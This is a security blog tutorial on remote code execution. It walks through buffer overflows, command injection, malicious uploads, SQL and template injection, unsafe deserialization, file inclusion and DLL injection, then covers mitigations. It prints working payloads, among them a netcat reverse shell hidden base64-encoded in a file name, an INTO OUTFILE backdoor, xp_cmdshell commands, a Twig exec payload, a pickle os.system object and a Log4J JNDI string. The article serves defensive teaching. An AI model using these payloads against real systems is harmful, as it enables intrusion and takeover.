Red Hot Cyber
Cybersecurity is about sharing. Recognize the risk, combat it, share your experiences, and encourage others to do better than you.
Search
LECS 320x100 1
Enterprise BusinessLog 970x120 1
Discovering Remote Code Execution (RCE). The most feared security bug!

Discovering Remote Code Execution (RCE). The most feared security bug!

Manuel Roccon : 14 November 2025 11:55

Of all the vulnerabilities, the most feared by victims and the most sought after by attackers is remote code execution, or RCE. This vulnerability allows arbitrary commands to be executed on the attacked system. These commands can be sent via scripts: consider a PHP page loaded on a web server, Windows shell commands, or even machine instructions in the case of buffer overflows.

This type of vulnerability allows a quick takeover of the victim, and this attack is carried out remotely without physical access. These vulnerabilities are exploited for various reasons, from unauthorized system access to the installation of unauthorized software.

But it doesn’t end there: some features amplify the effect, for example when the vulnerability is “unauthenticated” (called unauthenticated RCE) or when elevated permissions are immediately obtained (such as “system” on Windows systems or “root” on Linux). Vulnerabilities like this can easily reach CVSS scores of 9.8 to 10.

What impact can an RCE vulnerability have?

Here are some examples of what this vulnerability can cause:

Penetration: Attackers can gain access to the network or system.

  • Privilege Escalation: After gaining access via an RCE, the attacker may attempt to escalate their privileges on the system to increase their impact and gain more access.
  • Lateral Movement: Attackers could use RCE vulnerabilities to move laterally, compromising additional systems and expanding their control and access across the network. This could lead to a larger breach and greater damage.
  • Exfiltration: Attackers can intercept, access, and exfiltrate sensitive information. This occurs through various means, including data-stealing malware and memory-scraping software that searches for credentials.
  • DOS and DDOS: Systems can be brought down through RCE attacks that exhaust network or application resources, thus denying legitimate users service of the application.
  • Ransomware: Through these RCE vulnerabilities, attackers prevent victims from accessing their systems and data in exchange for money/ransom.
  • Backdoors, botnets, and persistence: An attacker who compromised the machine via an RCE can create a backdoor to reconnect to the machine without having to exploit the vulnerability again. This is known as persistence. This can be useful, for example, for incorporating the compromised machine into a botnet.
  • Reputation Damage: A successful RCE attack can damage an organization’s reputation, leading to a loss of customer trust and confidence. This can have long-term effects on business relationships and market position.
  • Business Disruption: RCE vulnerabilities can disrupt normal business operations by causing system outages, data corruption, and service disruptions.

This disruption can impact productivity, customer service, and overall business continuity.

Some distinctions and examples

One example is a vulnerability encountered a few years ago. It was March 2021, and one morning began with a devastating, initially unknown, attack that affected Exchange mail systems via a zero-day vulnerability later dubbed Proxy Logon (CVE-2021-26855 + CVE-2021-27065).

The attackers attempted to upload live code to compromise mail servers, which were fortunately detected by the installed EDRs. This type of attack is an example of remote code execution and has been classified as 9.8 cvss v3. For more information: https://proxylogon.com/

Most RCEs are chained to other vulnerabilities or exploited through other weaknesses inserted in the code or configurations. Let’s see some of them with some simple examples:

Buffer Overflow

In software development security, a buffer overflow is an anomaly in which a program, while writing excessively large input data to a buffer, overflows into adjacent memory areas.

Thus, the program will later find itself accessing invalid memory pointers because they have been overwritten. No longer having a valid reference to the next memory area containing the next instruction to be executed, it will crash or perform an unauthorized access to another memory area.

An attacker, by identifying and manipulating the areas that would lead to the behavior explained above, can modify the execution flow through specially crafted input, forcing the program to execute arbitrary code injected by the attacker.

Take CVE-2017-14980, for example, which affects Sync Breeze Enterprise 10.0.28, a file synchronization software program. This software features a login-protected web interface.

It was discovered that passing a very long username in the login call caused the software to generate a buffer overflow.

So as mentioned before, by generating a special payload passed in the username input in the login request, this buffer overflow could be exploited to execute remote code.

We had already talked about it here with a practical example from the Hackerhood team

Lack of input validation

When data transmitted from the client to the server is not sufficiently sanitized from characters that could modify the behavior of the application leading to the execution of arbitrary code.

Let’s assume this code snippet where the system uploads a file to Google Drive via a user uploaded file.

 exec("python pydrive.py " . $path . addslashes(trim($fileName));

In this case, the procedure will compose a Python command and then run it in a system shell. What we could do is use the file name to tune a command. There are checks in place, but these could mitigate SQL injection, but they’re not sufficient to mitigate this type of RCE attack, so it’s possible to tune a second command.

The command could be rm tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 10.11.0.4 1234 >/tmp/f , it cannot be used to rename a file before uploading it as some special characters prevent it (although we could actually modify the REST call we tried another way).

Don’t worry, for those who know bash, you know that it is possible to execute a command encoded in base64: using the $() character, the shell will execute the contents even before executing the python command, so let’s load a file with the name:

 $(cm0gdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMSB8IG5jIDEwLjExLjAuNCAxMjM0ID4vdG1wL2Y= | base64 -d | bash);

The application will run this command from Linux bash and start a reverse shell.

 python pydrive.py /test/$(cm0gdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMSB8IG5jIDEwLjExLjAuNCAxMjM0ID4vdG1wL2Y= | base64 -d | bash);

The main problem is that characters that could interact with the commands that will be executed in the shell have not been filtered.

File Uploads

A classic case of RCE involves uploading arbitrary files containing active code that have not been properly filtered. When file upload features are not implemented and tested properly, they can open the door for malicious files to be uploaded to obtain RCE.

In this scenario, a hypothetical PHP web application offers the user the ability to upload images and display them in a gallery after uploading. These images are stored in the “/img/” folder in a public location on the web server. The files are not verified or renamed. So, we could upload a file containing the following code : “” with the .php extension, such as exploit.php.

At this point, once the message has loaded, we inspect the DOM and we should find the loaded image, or the one that was supposed to be.

<pre class="wp-block-syntaxhighlighter-code"> <img></pre>

By calling this path, we will most likely execute the code contained in the file. In this case, neither the content nor the extension of the uploaded file have been checked. If possible, prevent the file from being publicly accessible. At this point, all that remains is to call the identified URL: http://example.local/img/exploit.php?cmd=ls

Injection

These vulnerabilities arise from inadequate input sanitization. If an attacker provides specially crafted malicious input, some of it can be interpreted as executable commands, allowing the attacker to execute their own code. This category includes SQLi (SQL injection) and SSTI (Server Side Template Injection).

SQL INJECTION

An SQL Injection (or SQLi) is a computer security vulnerability that allows an attacker to interfere with the SQL queries an application sends to a database. Essentially, the attacker “injects” malicious SQL code into user input (such as text fields in a web form) to manipulate the original query and obtain unintended results.

For example, in MySQL, if the FILE grant is enabled in the permissions of the user executing the queries, it is possible to execute remote code.

Let’s assume in this piece of code that it handles the request to the database for a page before executing it:

 $sql = 'SELECT * FROM user WHERE username = "' + $username '"'

The application would expect a username to check whether it exists or not, such as “mario” . Instead of mario, we pass this SQL snippet:

 1" union all select 1, 2, "" into OUTFILE "c:/xampp/htdocs/backdoor.php" #

This will be added to the original QUERY from before creating a new one that the database engine will execute.

 SELECT * FROM user WHERE username = "1" union all select 1, 2, "" into OUTFILE "c:/xampp/htdocs/backdoor.php" #

The process is extremely simplified but in this way we would have induced the sql query to write content to an arbitrary path.

 http://example.local/backdoor.php?cmd=ls

If we were instead in the Microsoft SQL Server environment, we could even send shell commands to the database engine ready to be executed by adding these commands to the original query:

 EXEC sp_configure 'Show Advanced Options', 1; reconfigure; sp_configure; EXEC sp_configure 'xp_cmdshell', 1; reconfigure; xp_cmdshell "whoami";

The victim will run whoami in their console. One reason for this is the unchecked concatenation of SQL code and variables, as well as allowing commands that could be disabled as FILE.

Under some conditions, the use of database users with elevated privileges (such as root or sa) can amplify the power of the attack and allow, for example, the execution of commands such as xp_cmdshell in mssql.

SERVER-SIDE TEMPLATE INJECTION TO RCE

Just like with SQL injection, when unfiltered user input is passed to a templating engine and this is concatenated into templates rather than passed as data, a remote code execution condition can result. Let’s look at an example applied to an older version of Twig (1.9.0).

Static templates that simply provide placeholders into which dynamic content is redirected are generally not vulnerable to server-side template injection as in the example below:

 $output = $twig-&gt;render("Dear {first_name},", array("first_name" =&gt; $user.first_name) );

But if instead the user input is concatenated into the template before rendering like in this example:

 $output = $twig-&gt;render("Dear " . $_GET['name']);

This time users can customize parts of the code before it is sent to rendering.

So rather than passing a static value, such as “mario”, we instead pass {{payload}} as a GET parameter, thus being able to execute arbitrary code:

 http://example.com/?name={{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("ls")}}

In this case, by accessing the Twig environment and using the registerUndefinedFilterCallback function, you can register an alias for the exec function. Then, call getFilter with the desired command ls [call_user_func(‘exec’,’id’);].

At this point we will see the output of the command.

Unsafe Deserialization

This method facilitates data transmission by packaging it into a single string of bits, which the receiving system can decode.

If the structure of the serialized data is not well-defined, an attacker could create input that would be misinterpreted during unpacking.

This misinterpretation could lead to remote code execution, depending on how the data is processed and stored.

The following code is a simple example of using cPickle to generate an auth_token, which is a serialized user object, and then save it in a cookie.

 import cPickle
from base64 import b64encode, b64decode

class User:
        def __init__(self):
        self.username = "anonymous"
        self.password = "anonymous"
        self.rank = "guest"

h = User()
auth_token = b64encode(cPickle.dumps(h))
cookie = {'auth_token': auth_token}

pickle.dumps() in Python is a function used to serialize an object into a byte stream. The resulting output can then be used, for example, in cookies to manage authentication processes.

At each request the victim will then deserialize the object to reconstruct it.

 token = cPickle.loads(b64decode(new_token))

The vulnerability occurs when the attacker manages to manipulate this data stream, in this case by modifying the serialized object present in the cookie, for example, of the browser.

So by creating a new ad-hoc serialized object, we can execute remote code on the victim once it is de-serialized to read the contents.

 import cPickle, os

from base64 import b64encode, b64decode

class Evil(object):
      def __reduce__(self):
      return (os.system,("whoami",))

e = Evil()
evil_token = b64encode(cPickle.dumps(e))

When the object is deserialized on the server, the __reduce__ method will be invoked and execute the remote command “whoami”.

RCE VIA RACE CONDITION

A race condition occurs when the final outcome depends on the precise order in which these processes/threads perform their operations. In other words, the outcome becomes unpredictable and can vary depending on which process “wins the race” to access the resource first.

Take CVE-2021-24377 for example, the system involves uploading a zip file, then unpacking all the files into a known directory, and then finally removing the newly extracted files.

The RACE CONDITION will occur if, immediately after uploading this file, we repeatedly attempt to call the public link to a file contained within it, as the system will begin unpacking the zip before the procedure finishes unpacking and therefore removing the unpacked files.

If the archive included a file with active PHP content (backdoor.php) we could then call this, transforming the attack from a race condition to an RCE.

LFI/RFI to RCE

LFI allows you to load local content containing active code that the application will execute. The primary goal is to be able to load this content. In this example, we have an Apache web server with the default configuration, where the various pages are called by including the file in the URL.

 http://example.local?page=index.php

at this point assuming that the apache logs are in the path /var/logs/httpd/access.log we could inject some php code via netcat.

 nc ip port

once the connection is opened we will write:

 

At this point, all we would do is reach the site and execute commands via the link:

 http://example.local?page=/var/logs/httpd/access.log?cmd=ls

Remote inclusion is even simpler. It involves loading remote content, usually via a URL. If the web server is enabled for remote inclusion (allow_url_include=on), we could include the code shown above, for example, in pastbin.

Then call him back

 http://example.local?page=https://pastebin.com/raw/[hash]?cmd=ls

DDL INJECTION

DLL injection is a technique that allows arbitrary code to be executed within the address space of a running process. This is done by loading a DLL (Dynamic Link Library) into the target process.

The main steps are:

Memory Allocation: The injector process allocates memory in the target process.
Writing DLL Path: The path of the DLL to be injected is written to the allocated memory.
Loading the DLL: The LoadLibrary function is called to load the DLL into the target process.

A real-world example is CVE-2020-7315. The vulnerability affects McAfee Agent (MA) for Windows prior to version 5.6.6 and allows local users to execute arbitrary code via the use of a malicious DLL.

The cause is a missing DDL in the C:WindowsSystem32 path that the McAfee macompatsvc.exe process tries to load at startup.

So an attacker by placing a new malicious DLL in that path can execute malicious code from within the executable when the process restarts.

Another more sophisticated attack is to use injectors that use the VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread APIs to dynamically load a DLL into an already active process.

On a vulnerable system, once compromised, it would be enough to identify a target process’s PID. This requires forging a malicious DLL and injecting it with an injector.

Broadly speaking, the process is this:

  • With tasklist identify the target PID (e.g. 3456)
  • Compile injector and DLL
  • Run dllinj.exe 3456
  • At this point the DLL has been loaded and executed

Here are some examples of DLL Injectors and payloads:

DLL Injector

https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/01-traditional-injection/hack3.c

DDL Payload

https://github.com/PacktPublishing/Malware-Development-for-Ethical-Hackers/blob/main/chapter02/01-traditional-injection/evil.c

This technique can pose a significant threat, especially for poorly configured and legacy systems. These systems often lack the necessary security patches and configurations to defend against such sophisticated attacks, or EDRs that detect abuse of these APIs by processes.

We had already seen the use of these APIs as VirtualAlloc in the analysis of the Tesla Agent infostealer.

https://www.redhotcyber.com/post/rhc-da-vita-alloperazione-pollicino-alla-caccia-di-agent-tesla/

Common Vulnerabilities and Exposures (CVEs)

Exploiting certain CVEs is another method of achieving remote code execution. Companies behind bug bounty programs integrate third-party services and packages (such as libraries and frameworks) all the time, as they can speed up development and reduce the overall technology costs associated with it.

But this comes at a cost: these integrated services can often contain insecure code that can lead to RCE. Take Log4J (CVE-2021-44228) for example. A simple payload like the one below could have impacted any server using Apache Log4J, such as VMware virtualization systems.

 ${jndi:ldap://url.com/exploit}

How to mitigate RCE attacks?

There are different methods to mitigate the impacts of Remote Code Execution, some of which we will analyze below.

Input validation and sanitization

  • Validate inputs: Apply rigorous checks on all user-supplied data, ensuring it meets the expected format, length, and data type. Never trust client-side validation; always validate on the server. Don’t trust, verify.
  • Sanitize inputs: In addition to validation, you need to sanitize or encode the input data to neutralize any malicious characters or sequences.

Secure Coding Practices

  • Parameterized Queries (Prepared Statements): Essential for preventing SQL injection. Never concatenate user input directly into SQL queries.
  • Avoid eval() (and similar functions): These functions execute arbitrary code and are extremely dangerous if user input is involved. Safer alternatives almost always exist.
  • Least Privilege Principle: Grant only necessary permissions to users and processes. Also, limit access to sensitive resources and functionality.
  • Secure session management: Use robust session IDs, implement appropriate session timeouts, and regenerate the session ID after login.
  • Error handling: Avoid revealing sensitive information in error messages. Log errors for debugging, but present generic error messages to users.

Dependency and patch management

Keep software up to date: Regularly update software, libraries, frameworks, and operating systems with the latest security patches, including third-party dependencies. Vulnerability scanning: Use tools to identify known vulnerabilities in dependencies.

Patch Management Process: Implement a formal process for tracking, testing, and applying security patches.

Secure deserialization

Avoid deserializing untrusted data: If possible, avoid deserializing data from untrusted sources. Validate deserialized data: If deserialization is necessary, validate the structure and content of deserialized objects before using them.

Use secure deserialization libraries: Use libraries designed to prevent deserialization vulnerabilities.

Memory safety

  • Buffer Overflow Protection: Use appropriate techniques to prevent buffer overflows, such as bounds checking and safe string handling functions.
  • Memory-safe languages: Consider using memory-safe programming languages (e.g., Rust, Go) whenever possible, as they offer built-in protection against many memory-related vulnerabilities.

Web Application Firewall (WAF)

Implement a WAF: A WAF can help detect and block malicious traffic, including attempts to exploit RCE and even 0day vulnerabilities.

This is an important layer of defense and prevention, but it does not replace secure coding practices and all those mentioned above!

Secure file management

  • Validate file uploads: Strictly validate file types, sizes, and content. Don’t rely solely on file extensions.
  • Store uploaded files securely: Store uploaded files outside of your web root and use appropriate file permissions to prevent them from being executed.
  • Disable directory browsing: Prevent users from browsing directories containing uploaded files.

Running Security Tests

  • Static Analysis: Use static code analysis tools to identify potential vulnerabilities in source code before it is deployed.
  • Dynamic Analysis (DAST): Test your running application to identify vulnerabilities.
  • Penetration testing: Simulating real attacks to uncover security weaknesses.
  • Code Reviews: Conduct regular code reviews to identify and resolve security issues.
  • Software Composition Analysis (SCA): Analyze application dependencies to identify known vulnerabilities.

Strengthen process memory protections:

  • Control Flow Guard: Use the Control Flow Guard (CFG) to prevent diversion.
  • DEP and ASR: Enable Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) to randomize memory addresses and prevent injection.

Use effective EDR

  • API Monitor: Use EDRs that monitor suspicious VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread API calls from processes.

Other considerations

  • Security Headers: Use security headers (e.g., Content Security Policy (CSP), HTTP Strict Transport Security (HSTS)) to mitigate various types of browser-side attacks.
  • Login Frequency Limitation: Limit the frequency with which an attacker can make continuous login attempts to prevent brute-force attacks.
  • Logging and Monitoring: Record security events and monitor systems for suspicious activity. Set up alerts for potential attacks.
  • Incident Response Plan: Have a plan in place for how to respond to security incidents.

Conclusion

Vulnerabilities that lead to RCE are truly serious issues and are more widespread than one might expect. When developing an application or client-server systems, best practices should always be followed, both during the design and implementation phases, but also before deploying it to production and during ongoing maintenance.

One recommendation is to constantly monitor vulnerabilities through communities like RedHotCyber and through software vendor announcements (where you can often subscribe to receive their announcements). The National Cybersecurity Agency , as we can read in the FAQ, also monitors and proactively sends information on emerging threats and related mitigation activities through its public channels.

We can therefore follow their Telegram channel at the link https://t.me/s/CSIRT_Italia
Another interesting channel is that of the cert agid at the link https://t.me/certagid

Immagine del sitoManuel Roccon
Ho iniziato la mia carriera occuparmi nella ricerca e nell’implementazioni di soluzioni in campo ICT e nello sviluppo di applicazioni. Al fine di aggiungere aspetti di sicurezza in questi campi, da alcuni anni ho aggiunto competenze inerenti al ramo offensive security (OSCP), occupandomi anche di analisi di sicurezza e pentest in molte organizzazioni.

Lista degli articoli